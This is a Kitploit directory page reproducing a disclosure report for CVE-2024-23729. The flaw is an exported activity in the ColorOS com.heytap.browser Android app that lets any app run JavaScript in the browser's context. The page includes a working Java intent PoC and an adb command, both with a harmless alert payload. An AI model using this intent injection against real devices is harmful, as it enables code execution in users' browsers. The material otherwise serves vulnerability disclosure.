Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
com.heytap.browser — CVE-2024-23729 | Kitploit
Tools/GitHubGitHub/actuator/com.heytap.browser
Android SecurityVulnerability AnalysisExploitationWeb Application ExploitationMobile Security
GitHubactuator/com.heytap.browser

com.heytap.browser

CVE-2024-23729

View Repository
81 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Report

Overview:

A vulnerability has been discovered in the com.heytap.browser application on the Android platform. The vulnerability allows an attacker to execute arbitrary JavsScript code within the context of the application without any permissions.

Application Details:

  • Vendor: - ColorOS
  • Application Name: 'Internet Browser' com.heytap.browser
  • Version: 45.10.3.4.1
  • Component: com.android.browser.RealBrowserActivity

Vulnerability Details:

  • Vulnerability Type: JavaScript Code Execution
  • Attack Vector: Via an exported activity component
  • Permissions Required: None

Description:

The com.android.browser.RealBrowserActivity activity in the com.heytap.browser app is exported and can be invoked by any third-party application without requiring any permissions. A malicious app can exploit this to execute arbitrary JavaScript code within the context of the `com.heytap.browser`` application.

Proof of Concept (PoC):

root@kitploit:~
{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }
root@kitploit:~

adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

com heytap browser- 45 10 3 4 1-JS poc-coloros

Impact:

Successful exploitation allows an attacker to:

  • Execute arbitrary JavaScript code within the context of the com.heytap.browser app.
Download Tool